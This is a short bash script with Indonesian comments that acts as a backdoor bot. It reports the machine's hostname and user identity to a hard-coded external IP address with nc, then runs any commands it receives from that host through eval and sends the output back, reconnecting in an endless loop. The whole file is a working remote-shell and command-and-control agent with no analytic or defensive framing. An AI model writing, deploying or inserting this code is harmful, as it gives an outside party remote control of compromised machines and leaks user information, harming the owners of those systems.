#!/bin/bash
#for nc
SERVER_HOST="178.63.100.123"  
SERVER_PORT=14006         
BOT_NAME=$(hostname)     

while true; do
    # Kirimkan informasi awal ke server
    echo "${BOT_NAME}|$(whoami)|$(id -u -n)" | nc $SERVER_HOST $SERVER_PORT
    if [ $? -eq 0 ]; then
        # Masuk ke mode interaktif untuk menerima perintah
        while read -r command; do
            if [ "$command" = "exit" ]; then
                break
            fi

            # Jalankan perintah dan kirim output kembali
            output=$(eval "$command" 2>&1)
            if [ -z "$output" ]; then
                output="Command executed with no output."
            fi
            echo "$output" | nc $SERVER_HOST $SERVER_PORT
        done < <(nc -l $SERVER_HOST $SERVER_PORT)
    else
        echo "Failed to connect to $SERVER_HOST:$SERVER_PORT. Retrying..."
        sleep 5
    fi
done